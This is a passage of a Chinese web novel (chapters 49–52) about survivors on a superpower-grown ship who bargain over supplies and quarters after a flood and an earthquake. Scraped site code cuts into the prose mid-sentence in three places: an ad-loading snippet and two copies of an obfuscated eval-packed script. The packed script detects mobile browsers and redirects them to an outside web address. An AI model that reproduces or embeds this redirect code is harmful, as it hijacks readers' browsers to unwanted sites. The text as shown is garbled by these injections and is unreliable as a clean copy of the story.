陈师望也扶着李自坐下，目光不由自主落在他的手上，眼含悲悯。 李自沉重的呼吸着，并不说话。 萧顺清疼得面色苍白，没有一丝血色，却也看见李自的手。 她沙哑着嗓音道：“我会，找到治，治疗异能……” 李自看着她，平静地点点头。 49.隐瞒 尤晴带领的队伍加上她自己共三十六人，异能者有十三个，剩下二十几个也还身强力壮，平时在队伍中的位置都是前排。 生活条件不错。 她们也是见过世面的人，异能者多少有特别照顾，物资什么的她们不能分到许多，但也看过队伍的总资产。只是数量庞大的食物和众多的人口形成对比，总归平均下来她们似乎也没有什么安心感。 直到她们上了船。 这艘船从外表看就是一艘普通的大船，两层船舱，装下她们倒是绰绰有余，迎接大部队就有点无能为力。 “好像有点小，国家怎么不造大一点的船来救我们，还有那么多人呢。” 尤晴倒是隐约知道这船不是国家派来的，船大与否她们也不能决定。 队伍里有人小声抱怨，本来也只是误会，但尤晴不能让这种不满足的言论传开，或许真的会有人因此生出怨怼。 当即喝止道：“上船就上船，不要浪费时间，要是不满意，那就别上。” 众人霎时噤声，从船一楼甲板进入船内。 离得近了，她们才看见那颗枝繁叶茂的大树，不论船上种着一颗大树是否古怪，但她们许久没见过生机这么旺盛的树木了。 生机勃勃，每一片绿叶，每一根枝条都英姿勃发，散发着浓浓的生命力，好似百折不死，永远奋发向上。看见它的人忍不住心底生出一种好感，甚至觉得那种生命力就存在于自己的体内，让人一瞬间有了活下去的勇气。 而进入到船内，接二连三的震惊炸响在她们脑海中。 一条小路，两侧是整齐的田亩，那的确是修整规矩的土壤，其中更是种植着绿色的根茎植物和树苗。一瞬间，她们好像进入了另一个世界，是一个小农庄，有飞翔的蜜蜂昆虫，有探头的花草嫩芽。一切，和洪水来临后的世界格格不入。 她们终于明白看见这一切，心里涌出的激动究竟从何而来。那是一种踏实的感觉，好像到了这样的船上，才算是真正找到了生的希望。 那些装在车辆里的压缩饼干，每一顿吃着，都好像只是为了活着，而这里，却是有了未来的希望。 尤晴也没有想到当初一艘简陋小船，如今成了这样规模。想必现在的大铁船遇见当初那只怪物，也不会害怕得所有人都要离开。 这艘船现在就是坚实的堡垒，她从外看去，就是钢筋铁墙。 上船的人都因为这船的样子而激动，尤晴心中也落下一块巨石。 她们上了楼。 一楼都是泥土地，显然不是船上人平时生活的地方。 而二楼的样子更加让人安心，公共区域干净整洁，还有整齐的小房间，房门紧闭，一看就能安心睡上一觉。 刚来的人并不知道船上有人，满心以为这些房间都是为她们准备的，刚想要拉开一间看看，却发现竟然还拉不动。 “每个房间都上了锁？奇怪，又没锁芯，我看着好像只能从里面关上。” 异能的造物显然不能用常理来判断，尤晴打断她们继续探索房间的行为，令她们原地坐下修整。 不过到了这儿，她也不知道该怎么进行下一步。 之前是一个异能者联系的她，她想要反向联系回去显然没有可能，这一点让她忍不住皱起眉头。 一个队员看她这样，还以为她发现了什么不对。 “尤队长，怎么了？” 尤晴摇了下头，停顿一会儿，刚想说让她们就在这儿等着，她再去救更多的人，队伍里一个人却忽然站起身，大喊。 “什么人！” 船上还有别的人！ 她动作很迅速，两步便上前来到一处房门前。 依旧紧锁。 但里面绝对有人，为什么不愿意出来和她们见面？躲躲藏藏，让她们心里下意识生出忌惮。 陈阳心有余悸地躲在她随便选中的一个房间里，这应该是周莹的房间，在她进来之前，房间门还是敞开的。 大家都下了船，彼此之间其实不太设防，除了晚上睡觉的时候，没有锁门的需求，所以她刚刚才能爬进来。 不过她很快听见了外面的脚步和交谈声，全程都在船上的她没有听见熟悉的声音，愈发不敢出声暴露。 她们来开门时，陈阳的心更是提到了嗓子眼，结果这些门竟然一个个都上了锁。她意识到，这应该是萧顺清为了保护她做的，连同之前的那些栅栏铁柱。 不过萧顺清又是怎么知道她遇到了危险呢？还有，刚刚萧顺清针对丘莲的手段，十分暴力，甚至看得她心惊胆战。 凭借着“这是为了救自己”的想法，陈阳缓过了神，只觉得萧顺清就是她的菩萨。 心神一放松，门外的人显然发现了她。 陈阳不敢出声，毕竟她不了解这些人究竟是什么情况。 终于，尤晴的耳边又响起了熟悉的声音。 “让她们安静待在船上，过一会儿，船上会有她们的房间。” 尤晴道了声好，担心对方立马撤回异能，又立刻抓紧时间询问： “你们那边怎么样，救到了人吗？” 周莹沉默了。 尤晴从这意思沉默了品出了不安的情绪，心里的焦躁体现出来。 “到底怎么了，你们不是去救人的吗？萧丰灿，萧丰灿怎么样了？” 另一边，周莹看向蜷缩坐在泥地上的萧顺清，抿了抿嘴，对方正在被剧痛折磨，但实际上，她心理上的疼痛也还没有散去。 周莹回答：“萧丰灿死了。” 她不知该如何委婉表达，因为那是考虑听者心情时的做法，可她现在自己都没有心情去体谅对方。 这里是萧丰灿血脉相连的亲人，她们的痛苦才是最大的，可她也同样不知道该如何安慰。 萧顺清脑子依旧清醒，此时的剧痛仍旧无法阻止她查看船上的情况。 相反，这样的疼痛令她无比想要通关查看别的事情来转移注意力。 船上一切都好，尤晴的确很有领导力，但是听了周莹的话，她显然不淡定，慌乱之下，立刻想要飞出船外去找萧丰灿。 但是萧顺清立刻让周莹拦住她。 “我已经通知了目前还能联系上的人，不用再出去了。” 周莹说完这句话，倒是有些疑惑的看着萧顺清。 顺清姐怎么知道尤晴要出去的。 她思考着，不由露出了迟疑想要询问的神色。 萧顺清感受到她的视线 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，抬头和她对视。 思绪在她脑海中翻腾。她在想，要不要告诉周莹呢，想要留住底牌，她要瞒过所有人，但周莹的能力有特别之处。 一旦她联系丘莲或者陈阳，周莹应该就会知道她能够看见船上发生的事。 现在就弄死丘莲？装作她失足落水，就像她给陈阳设定好的结局一样，周莹就不会再联系上她。 但是丘莲，能不能还有别的用处呢？ 而且，她其实也并不完全相信陈阳能够保守秘密，总不能把陈阳也杀了，丘莲死了就死了，陈阳不能有事。 思绪万千，周莹已经又要低头收回视线，萧顺清却轻咳一声，又让她看向自己。 周莹明白了她的意思，连接萧顺清，进行旁人听不见的对话。 “小莹，新上船的人数很多，我们最好还是按照之前上岸时的计划，不要暴露本身不明显的异能，你的异能在别人耳边会是对方的声音，可以隐藏，以免遭至意外。” 她语调柔和，言辞都是为了周莹着想，像是一个温柔的姐姐，周莹的心一下就被她引到如何隐藏自己的异能上去。 她信任船上原本的同伴，但是那些人是她们在这次地震中救下的，没有感情基础，也不知道彼此的人品，她当然不会轻易相信。 而鉴于尤晴知道她们中有一个传音异能，正如尤晴也知道她们里有人的异能就是这艘船，但是并不知道异能对应的人。 所以她们之前商量过的异能隐藏方式就是打乱异能的匹配，让外人弄不清楚她们的异能，彼此间相安无事当然一切都好，但是要有人起了不好的心思，信息隐藏也能给她们带来优势。 正想着，周莹便听萧顺清又道。 “尤晴知道有人的异能是一艘船，而异能者本人受到伤害，她的船当然也会受到影响，所以一般人是不会动船的拥有者的。” 周莹听着觉得很有道理，她并不能想清楚有些人就是没长脑子会伤害船的拥有者。在她的逻辑里，这件事是成立的，拿她们来说，一直都认为萧顺清死了她们也活不成，所以绝对绝对不会对萧顺清起歪心思。 于是她接话：“所以，顺清姐，你是想要公开你的异能？” 萧顺清笑了一声：“不，我是要彻底隐藏起来，如果她们弄不清楚船的拥有者，那么我们谁都有可能是船的拥有者，比如你，比如苏凤晚，比如，丘莲，你们的人身安全就能得到更多的保障。” 周莹感动极了：“顺清姐……” “这么叫我做什么，这么做，对大家都好，对了，你现在联系其他人，告诉她们所有人都不要揭穿船的拥有者不是她这件事。” 周莹点头。 于是萧顺清又交代道：“你先跟船上的陈阳和丘莲说吧。” 周莹立刻联系丘莲，却怎么也没有回应。 她焦急看向萧顺清，告诉她丘莲好像失踪了。 萧顺清皱起眉：“别着急，你先联系陈阳，问问她丘莲去了哪里，对了，顺便告诉她我回去之后再给她房间里装个锁，船上这么多人，还是要小心些。” 周莹乖乖听话，一字不落地传达。 陈阳：“……知道了，丘莲在你们之后跑出去了，我也不知道她去了哪儿。” 50.划分 在一干人各自的期待中，萧顺清六人回到船上。 来到二楼，萧顺清亲自敲了敲陈阳的房间门，里面的人这才开门出来。 被所有人的目光盯着，陈阳下意识想摸眼镜，发现其实不知道什么时候被遗失了。 萧顺清镇定自若将她扶起来，一条腿也能站得很直。 加上陈阳，她们就有七个人与对面四十几人对峙。 先前一段时间内，也有不少接到周莹传递消息的人逃过来，这也是萧顺清允许的。 数量上，她们这些船上的“原住民”并不占优势，从体格上讲，最具有震慑力的李自受了伤，看着就很狼狈，而其他的，也都只能说上一句老弱病残吧。 就这么互相打量着，终于有人忍不住开口。 “我们住哪儿？” 萧顺清转过身，似乎和她的同伴交流了什么，最后是苏凤晚回答了问题。 “你们先待在这儿，等到明天，自然有安排你们的地方。” 山体垮塌，她们想通过公路隧道进入米诺高原的计划泡汤，没有别的去处。 坐船去米诺高原，将它当成交通工具，这也的确是个好方法。 逃上船的人收拾自己的地方，整个二楼显得拥挤。幸亏她们根本就没有多少行李。 想到行李，有人小声在尤晴耳边道。 “尤队长，我们的物资怎么办？” 那可是几大卡车的物资，山体崩塌时，车子行走在最前方，有些已经被压得不见天日，但总还有些车子完好无损。 萧顺清也听到了这话，想到那些物资，她心里也动了动。 这些人上了船，总要交点保护费。 她等着尤晴开口，但尤晴却并没有第一时间关注那些东西。 “其他幸存者呢，你们不打算救？” 萧顺清一挑眉，苏凤晚气笑了。 “那么多人，你是想全塞进这艘船里？” 尤晴：“我没有那个意思，但能救总要救吧，别告诉我，你们打算现在就走。” 几人约定好要分摊其他人注意力，此时轮到陈师望开口：“我们不是救援队，船暂时不会开走。毕竟地震也让水域不稳定，停留三天时间，我们能带多少物资就带多少物资，人，你们能救多少……也要看看这艘船能装下多少。” 尤晴脸色难看，她身后有一人更是直言：“物资？那些都是我们的物资。” 此时船上的人天然分成两个派别，对面想要物资，这显然是触碰到了她们的利益。 李自：“这是我们的船。” 对面四十几人交头接耳，震惊极了。 “这，这是你们船，是什么意思？” 萧顺清：“意思是，这是我们的异能产物，要在船上待，就要交保护费。” 尤晴怒了：“趁火打劫？你和你姐姐，一点也不像。” 萧顺清倒是没有生气，沉默片刻，眼里没什么情绪： “所以她现在死了。” 尤晴呼吸一滞，神色颓然。萧丰灿死了，她没有亲眼所见，但是萧顺清是她的妹妹，不至于说谎。 可是，既然没有说谎，萧顺清为什么这么坦然，那可是她亲姐姐，至少应该对她姐姐带领的队伍有一点责任心吧。 下一秒她被自己的逻辑噎住了，她不能要求所有人都无私奉献，萧顺清只是萧丰灿的妹妹。并没有谁规定她就一定要要跟萧丰灿一样善良。 而且，这船是她们的，交物资是她们共同的决定，难道她要让萧顺清脱离自己的队伍，跟她们站在一边？ 尤晴面色几经变换，一会儿舒缓一会儿难看，苏凤晚没忍住吐槽。 “这是变脸呢。” 尤晴不说话，还有别的会喘气的人。 “你们要物资，要多少，又能让我们多少人上船？” 周莹早通过传话将这事商量好，由苏凤晚开口。 “明天天亮，我们会下船搜寻物资，找到多少都归我们，同理，你们找到的也归你们，吃什么喝什么，就由你们自己解决。” 有人不能接受：“这船里种了东西，还养了牲畜。” 这意思是她们不能吃那些种出来的东西？想想也知道，能够在船上发展出来养殖业，她们也不缺吃喝，怎么就一定要这么苛刻的对待她们。 而她说出口后，就发现对面的人不约而同都皱起了眉。 苏凤晚：“那是我们种的东西，你们要是要想，就自己单独拿东西换，不可能白给你们。” 听到能换，大部分人的面色好看许多，最多是占不到便宜，但是想想她们留在岸上多少物资，而她们又只剩这么点人，分到的食物绝对能够让她们活得很好了。 最后，她们达成了共识，谈判的架势已经不再，三三两两或是独自站在一个角落，休息起来。 唯独尤晴没有走。 她看着萧顺清，想要得到更多的消息：“你亲眼看见你姐姐死了吗？” 萧顺清没有说话，安静地摇了下头，尤晴正想松口气，又听苏凤晚说： “我看见了，她浑身是伤，掉下了悬崖，我们试着救过她，但是，失败了。” 萧顺清并不在第一现场，听到苏凤晚简短的叙述，她也同样能够想象到当时的场景。 但尤晴接受不了，她冷冷看着苏凤晚：“你在说谎。” 苏凤晚一愣：“什么意思。” 尤晴：“你知道她是什么异能吗，身上有伤？绝对不可能，就算是所有人都死了，她也会活到最后。” 治疗系异能，多么符合萧丰灿善良性格的一种异能，谁也不可能让她受伤。 苏凤晚下意识看想萧顺清，又飞快收回视线。 “我有必要骗你？有个人可以屏蔽异能，萧丰灿本来是为了救他，结果被他屏蔽了异能，我们也没救到人。” 尤晴：“谁，叫什么名字。” 苏凤晚：“……我们怎么会知道！” 萧顺清静静听着，并没有发表自己的看法。为了救人搭上自己的命，萧丰灿，果然还是萧丰灿。 沈金兰一直没有说话，毕竟亲眼看见亲孙女的离世，对她的打击不是一般的大。 “尤姑娘，灿灿，的确死了。” 尤晴压抑着急促的呼吸，没有说自己信或者不信，不再说话，而是走到一个角落，闭上眼睛。 沈金兰默默地看着她，浑浊的目光一错不错。 经过和地震天灾的赛跑，她们也都很累了，脚都有些站不稳。 陈阳打了个哈欠，看着萧顺清似乎没有要跟她单独谈话的意思，便小心道：“那我要不先睡了……” 萧顺清点点头。陈阳便还是回了原本的房间，但房内多了一个可以锁门的铁栓。 其他人也都要回去休息，除了沈金兰，她仍旧看着尤晴的方向，竟然流下了眼泪。 老人显然还沉浸在悲伤里，萧顺清走上前试图安抚她。 沈金兰却忽然问她：“顺清，你觉得你姐姐为了救人死了，是活该吗？” 萧顺清心里一痛，亲人的质问让她一瞬间忘了呼吸。 “我没有，她当然很好。” 只是不值得，在她看来，那只是一个陌生人而已。 沈金兰并不满意这个答案，目光似乎变得更加悲伤，她几乎要将真相说出口，她想要告诉萧顺清，是她曾经杀了，却没有杀死的人，想要报仇，才害死了她姐姐。 但是，她刚说了两个字，就被还没回去睡觉的苏凤晚强行打断了。 “沈奶奶，我也知道你们都很难过，但是萧丰灿最后的心愿不就是让你们好好活下去吗？” ‘奶奶，不要告诉顺清’ 不要告诉她害死她的人是高嘉涛，因为她知道，这个人注定会让萧顺清心里被打上死结，情感和理智，总是容易背道而驰。 这是萧丰灿的心愿，不要让这个人影响到顺清。 沈金兰沉痛地闭了闭眼，没有再说下去。 萧顺清却以为，她在因为自己对萧丰灿留下的人态度不好而感到难过。 她吞咽了一下口水，解释：“奶奶，就算那些人曾经是姐姐的队友，我也不能……船装不了那么多的人，眼下这样，才是对所有活着的人负责。” 她说得小心，没有暴露自己是船拥有者的事。 她的解释，并没有安慰道沈金兰，但给沈金兰提供了一个生气的理由。沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13936117|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金兰便假装自己真的是因为萧顺清不能接收所有人而生气。 “我知道了，你们商量好的事，我也不会插手。” 沈金兰进了房间，苏凤晚跟着走了两步，还冲萧顺清笑了笑。 萧顺清低下头。 不对，她们在瞒着自己什么。 有什么是她不能知道的，和萧丰灿的死有关，难不成，是她害死了萧丰灿？这不可能，她甚至没有见到萧丰灿最后一面，又怎么会有关联。 她是为了救一个人，又被那人屏蔽了异能才死的，连李自也没有拉住她。所以，那个人是谁，为什么要害死萧丰灿。 她脑海里忽然浮现出一个人名，原本觉得不可能的事似乎是唯一的解释。她几乎有种觉得可笑的感觉。 该死的…… 这一夜，所有人昏昏入睡之时，船也发生了翻天覆地的变化。 从横向面积上看，单一平层的船舱变大，拥有了更多的独立房间，种植层也更多的空间种地。 而纵向来看，船又再次增多一层。 这一层显然是居住区，整齐划一的房间，大约三四平米大小，像火车卧铺一样有上中下铺，粗略一看就能住三个人，要是挤挤，还能多住。 新的居住区在二楼，原本的居住区自然变成了三楼。 船上原本的人和新上来的人似乎变得泾渭分明，还有了层级划分。 新上来的人心中有着不平衡，但没有谁率先挑事。 尤晴带着人下了船，她们要去找寻物资，甚至救人。 如今船上的状况她们已经大致了解，能住的人不只她们这些，房间挤点就挤点，她们更希望有更多的人活下来。 萧顺清也带着苏凤晚，陈师望，周莹三人出发寻找物资。 李自手受了伤，即使有力气，也不好使，陈阳便是又昏迷了。 下船时，沈金兰看着萧顺清，忽然叫住她。 “顺清！你一定要小心，知道吗？不要，不要为了救什么人，把自己的命搭进去……” 萧顺清低头笑了一下，却并不是愉悦的情绪。 “奶奶，我你还不放心吗，我不会救人。” 她觉得，萧丰灿的死唯一能够怪在她头上的，是她当初竟然还是让高嘉涛活了下来，以及，怪她当初因为愚蠢的善良允许高民救他的家人。 如果她没有发善心，才不会是高嘉涛害死萧丰灿。 也许萧丰灿并不会为了救人而后悔，但她会，救了人，竟然就要为他未来做出的行为负责？ 萧顺清并不接受这个道理。 新上船的人，都不会知道是她的船“救”人，没有人期待，才不会有人生出这一切都是她的错的想法。 将那些人分隔开，拒绝任何她可以依靠的想法，也就不会有人将未来的不幸怪到她做得不够好头上。 地震灾难中，伤害最大的往往是余震，此时的地面上似乎还有着波纹，那是陆地晃动的余韵。 好在，除了地面陷落让她们走得有些艰难，其他一切顺利。 萧顺清几人带着满满的物资回了三楼居住区，二楼的人陆陆续续回来了。 只是，二楼的物资分配却引起了不小的震动。 苏凤晚她们听不清楚，萧顺清却是“看”得一清二楚。 人都是有私心的，到了船上，没有谁拥有足够的领导力组织管控，谁都想拥有更多的物资让自己生活更好。 那些搜集来的物资，几乎是每个人靠抢划分的。而因为每个房间能住几个人，她们隐隐形成小团体，为自己的房间争取更多的利益。 相比今后，她们会以房间为单位进行合作共处，三五一组的小势力比几十上百人的势力看着安全顺眼得多。 船在这里停留了三天，能够搜救到的人已经差不多上了船，物资也搜集得差不多了。 唯一让人感觉到难过的是，丘莲始终没有回来，周莹也联系不上她，只能认为她是死在了地震里。 三楼的人宣布，船立刻启程，走水路去米诺高原。 不管是三楼还是二楼的人，生活都变得颇为规律起来。 每天都期盼着船开快一点，去到她们最后的希望之地。 51.交易 二楼居民区。 房号23内，几人正在聊天。 “又流鼻血了，有纸吗？” “我上哪儿给你找纸去，随便洗洗吧，你要不跟我换个床位吧，肯定是上铺太热了，干燥上火。” 越贴近三楼，越觉得热，明明已经进入到高原地区，温度该变冷些了，但三楼就是格外暖和。 “喂，喂！”上铺的人喊了两声，没人应答，心里涌上一股不好的预感，翻身一看，果然看见下面的人双目紧闭，嘴唇发紫。 这是病得不行了。 他连忙出门叫人，但船上这么多人，没有一个治疗系异能。 之前她们队里有一个，但是，没能上船，已经死了。失去能治疗各种外伤或者疾病的队医，这些普通人的体质就开始显现出她们的弱势。 尤晴皱着眉查看病倒的人，她不是医生，自然看不出来这是生了什么病。和他同房间的人还精神抖擞，没有生病的症状，不过也不能说完全没有传染性。 两天前，船上就又第一个生病的人，已经死了，被扔下了船。 “先隔离吧，你们房间的另外一个人呢？” 那人环顾一周，没找到他的身影：“可能去别的房间打牌了。” 尤晴只好让他将生病的人拖进一个空房间内。原本是没有计划留出空房间的，但三楼的人建议她们每个房间住满都一定要留出空余的地方，空地方用来干点什么都行。 眼下也算是派上一点用场。 难道说三楼的人知道她们一定会生病？尤晴下意识看了看三楼的楼梯口，另一人见状，在她耳边小声建议。 “要不找她们帮忙？兴许她们有办法。” 尤晴心里仍旧跨不过去那个坎儿，她觉得三楼的人有问题，明明是一条船上的人，却有种偏安一隅，各家自扫门前雪的状态。 那人见状，继续劝她。 “这是第二个生病的人，活到现在都不容易，要是能让她们帮忙，也能减小我们的折损率。” 尤晴答应了，但结果还是不尽如人意。 接待她们的是苏凤晚。 “我们也没有治疗异能，李自现在还受着伤呢。” “药品呢，你们既然知道会有人生病，是不是曾经也有过这样的症状，有准备药物吗？” 苏凤晚侧过头撇撇嘴：“你们那么多物资，没有药物？再说了，我们什么时候知道一定会有人生病了。” “你们不是让我们留出空房间？” 苏凤晚站起身，拿了什么东西出来。 “我们说的是会有别的用处，不是指生病。你们难道不想种东西？种植区的作物有一批已经熟了，你们需要的话，可以点回去种。” 尤晴：…… 她想说她们也有存下来的种子，但不知道为什么，她们就是都没有想起来种植的事。 一楼便是种植区，她们似乎被限制了思维，觉得只有三楼的那些船上原住民才能在一楼种东西，并且将这些新鲜的食物把握在自己手中，说句拿捏她们也不为过。 结果，人家早就提醒过可以拿空房间来种东西。 尤晴：“好。我们有需要的话，会跟你们换。” 她想了想，这件事至少说明三楼的人并不像她们看起来那么冷漠，也许还可以寻求其他帮助。 “虽然你们也不知道为什么会有人生病，但是，你们能提供些思路吗，或许有哪些地方是我们忽略的。” 苏凤晚打开了手上的东西，露出两颗拳头大小的橙子。 “没有医生，你们吃的东西也都是没被洪水污染过的干净食物，考虑一下是不是坏血病。” 长期缺乏维生素c可能会引起这种病症，以前一般出现在远航轮船的水手们身上，吃不到新鲜青菜和水果，自然缺乏维生素c的摄入。 现代社会各类食物都营养均衡，尤晴一开始其实排除了这种病。 但她们说有可能，那她就试试吧。 她准备去拿那两个橙子，苏凤晚却张开一只手做了个索要的动作。 “白拿？我们辛苦种了这么久，自己还不够吃呢。” 尤晴：“你们想要什么？” “看你们要给什么咯。” 尤晴想了想：“我们有一些蔬菜种子，可以拿来交换。” 用两包菜种换来了两个橙子，尤晴下了楼，去尝试新鲜水果有没有效果。 而苏凤晚这边，看着人走了，气哼哼地进了萧顺清房间。 “果然有种子，看她们那么久了不想着种东西，我还以为没有呢，还好你让我多问两次。” “她们受统一管理习惯了，管理者没有想到的事，自然就谁也不会去想。” 苏凤晚：“要我说这样不好，明明她们都在船上，也不用再逃命什么的，自己想法子过得好才最重要。” 萧顺清不置可否，说话间，陈师望敲了敲门。 他皱着眉头，心情不怎么好。 “橘子又坏了三个。” 早年远航轮船的水手容易得坏血病，有一点原因就是新鲜的蔬菜水果无法保存，后来轮船有冰箱，问题迎刃而解。 而现在，她们没有冰箱，倒是有个火箱。 陈阳失去意识之后，身上温度不受控制，整个三楼以她为圆心都在升温。眼下她们明明到了高海拔地区，船上的气温还是会加速水果的腐烂。 食物无法长期储存，这么看来，与其放任那些新鲜食物烂掉，还不如交换。 但二楼的人有她们找到的物资，也不跟她们交换。 这次有人生病，似乎是一个破冰的机会。 “也不知道她们中有没有冰系异能者，要是可以的话，合作是最好的。” 萧顺清手指在那两袋蔬菜种子上摸了摸，轻轻嗯了一声表示支持。 二楼的幸存者里不仅有制冰的异能者，还有用火的异能者。 但令萧顺清不解且有点无语的事，这些异能者真的不怎么用异能改善自己的生活。 冰系异能只会因为三楼的温度太高而自己用冰块降温，火系异能更是基本不用火，毕竟她们吃的食物里没有需要做熟的东西，都是现成的压缩饼干。 这两个异能者在二楼，竟然就这么安安分分，说句不思进取也不为过。除非尤晴等人分发任务，否则基本没有什么动作。 这两种异能都很有用，但只听别人吩咐，完全没有发挥出真正的作用。 也许从另一种程度上看，这是团结，但是近百个人，只长一个脑子，萧顺清有时候觉得自己确实不懂别人究竟在想些什么。 “下次尤晴再来，可以问问她们有没有冰系异能者。也不只是橘子需要保鲜，试着造个温度合适的储藏室，容易坏的先吃。” 大家当然都是这么做的，不过橘子产出大概有一筐，她们六个很难几天内就消耗完。 尤晴很快就又上了三楼。 这一回，她正好碰上苏凤晚将烂掉的橘子埋进一个瓶子剪出来的花瓶里。 她下意识问：“怎么坏了也不给我们。” 苏凤晚手一顿，盯着她，尤晴告诫自己不能再把三楼这些人当成会无私照顾她们的人。 “抱歉，我们正好想要换些东西。你看看97个橘子，我们拿什么东西来换？” 她数着人头来的。 种植区除了三楼的人都不能进，之前匆匆看了一眼，也不知道97个是不是太多了。 苏凤晚看她主动提了交换，带上一抹笑。 “你等等，我们再聊聊。” 尤晴坐在三楼公共区域等，陪她一起来的人也顺势坐下，打量着三楼的陈设。 一眼看过去，就比二楼的空间空旷干净得多，毕竟只有几个人，却住了整整一层楼，房间也是单人间，不需要和别人挤，还能有新鲜蔬菜吃。 不得不说，很羡慕。 苏凤晚很快和周莹一起出现，二楼来了两个人，她们自然也是两个。 不过周莹在这儿，一个就能实现全部人通话。 尤晴：“萧顺清不来？” 苏凤晚：“物资这一块我们就能商量。开门见山吧，橘子我们拿得出来，但不知道你们有没有我们想要的东西。” 尤晴皱眉，“你们不想要种子吗？” 苏凤晚：“你们种子很多？不打算自己种些？” “地方小，种不了那么多。”她们还以为和以前一样，种下去要许久才能收获，干巴巴还不能吃的种子当然不如现在多换点急需的东西。 但苏凤晚和萧顺清她们商量过，船上的作物生长快这事儿没必要瞒着，二楼能够自给自足，发挥主观能动性，整艘船都能稳定些。 “我们种的橘子，两个月不到就从苗子长到了结果，别说我们怎么不一早告诉你们，没拦着你们种地，只要试试就能知道船上的作物生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946884|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长够快，但你们上船后都没有试过。” 跟着尤晴上来的人听了这话忍不住道： “我们不是不想着种，现在种了，到时候下船怎么办？” 苏凤晚和周莹交换了一下眼神，实际上在和频道内的萧顺清等人交流。 “她们还要下船？” 萧顺清道：“想下船很正常，我们还要给李自找治疗系异能者，下次遇见迁徙队伍，她们想下就下。” 萧顺清一副无所谓的态度，但是其他人心里有点不自在，有点自己喜欢的东西别人不以为意的不爽。 不过要走就走吧，也不是她们非要留人。 “下船随你们，我们不拦着。” 她们聊了聊，除了交换一些种子，还终于把那位冰系异能者叫了上来，冻了一整间屋子的冰。那间屋子离陈阳的房间最远，铁皮双层隔热，也能尽量保温。 说到冰系异能者时，尤晴神色变了变,考虑到她们想要保存食物非常需要冰系异能者，想要多讨价还价。 结果萧顺清让苏凤晚直言：“坏了就坏了，现在不就是有已经坏掉的，大不了抓紧时间再种进土里。” 总之就是冰不是她们的刚需，不用拿这个拿捏她们。 终于双方都满意，尤晴忍不住最后问。 “我们还有多久能到找到迁徙部队？” “我们又不知道她们究竟在哪儿，你有联系大部队的方式吗，我们也很着急。” 尤晴坦白：“我们通过无线电联系，还没有联系上。” 最后，尤晴和先前上来谈判的人拿着东西离开，留下那个冰系异能者勤勤恳恳冻冰块。 脱离了谈判环境，苏凤晚看着温柔多了。 “要吃鸭蛋吗？”苏凤晚超不经意地叫住捡鸭蛋回来的陈师望，并询问冰系异能者。 小冰看着那白花花的大鸭蛋，脑子里重复播放起各种美食视频，咽了咽口水。 “那个，我也可以换吗？” 苏凤晚：“可以啊，你有没有火系异能者，让她帮个忙呗，鸭蛋多好吃，老是吃干巴巴的食物，也没有营养，你看，这两天不是还有人生病嘛。” 陈师望匆匆路过，也只是留下一句：“半熟的蛋能吃吗，剩一点糖心，我拿六十多度水泡的。” 他自然地拿出一个鸭蛋，看的小冰有些局促。 刚刚谈判她就看了个结尾，明明三楼的人都是斤斤计较，一点亏也不肯吃的啊，怎么还送她鸭蛋吃。 应该是误会了，嗯，误会她冻冰块没有给报酬了。 她解释道：“这是刚刚做的交易，我应该做的，不用再额外付给我报酬。” 陈师望一愣，挠头。“是这样吗？唉，那我都说了给你了，不然你帮我冻两瓶矿泉水，我这个付给你当交换。” 小冰答应了。 她确实挺想吃鸭蛋的，不熟也没关系，她确实可以找那个火系异能者帮忙。 这里的人还挺好说话的，她这么想着。 说了两句话，就没有人盯着她干活，她也打量起这里的陈设来。 确实比她们住的地方好得多，吃的也更好。还有手底下冻的水，她原本以为是接的雨水，但是冻成冰块之后才发现，这些水没有杂质，是可以直接饮用的干净水。 她们在二楼用的，其实也是三楼这些原住民提供，都是干净的水源。 她之前没有意识到，现在才发现这些人并不像原本她想象的那么唯利是图，至少不是压榨或者看不起她们。 水都是提供的干净水给她们，至于住的地方，她们人太多才必须要挤着睡，实际上也是一整层，还能种东西。 萧顺清忽然路过，看见她打了声招呼。 “听说刚刚你换到了鸭蛋？” “是。” 萧顺清手里巧合地抱着一盆葱苗，闻言掐了一把放在她身边。 “那你试试用这个炒。” 小冰：“我要给你冻点什么吗？” 萧顺清笑笑：“这个当买东西送的，别紧张。你们团队应该有葱或者其他作物的种子，不想麻烦可以像我这样剪个塑料瓶子当盆栽种。” 小冰眼睛都亮了。 萧顺清微笑着离开，周莹传达来了其他人的疑惑。 “这样真的能成吗？” 萧顺清答道：“试试又不吃亏，她留下我们就赚了。” 没错，她们在挖人。 52.上钩 上船不超过一周，二楼的幸存者已经逐渐适应船上的生活。 毕竟由俭入奢易，从吃不饱穿不暖，每天被雨淋还要长途奔袭的陆地生活，转变为如今不被风吹雨打，不用体力付出，甚至因为原本的幸存者队伍十不存一，她们分了物资之后，食物已经并非她们最紧缺的东西。 对她们所有人而言，这不正是由俭入奢。 唯一的小插曲就是，船上有人生怪病，以前在陆地上都没有，新环境下的新情况，难免让人心里有些慌张。 尤晴和同伴带着两框橘子下来，吸引了全场注意。 “这是换到了？之前尤队长说可以交易，我还以为三楼那些人会为难人呢。” “嘘，说不定这些就是花了大价钱换的，那些人指不定要了些什么。” 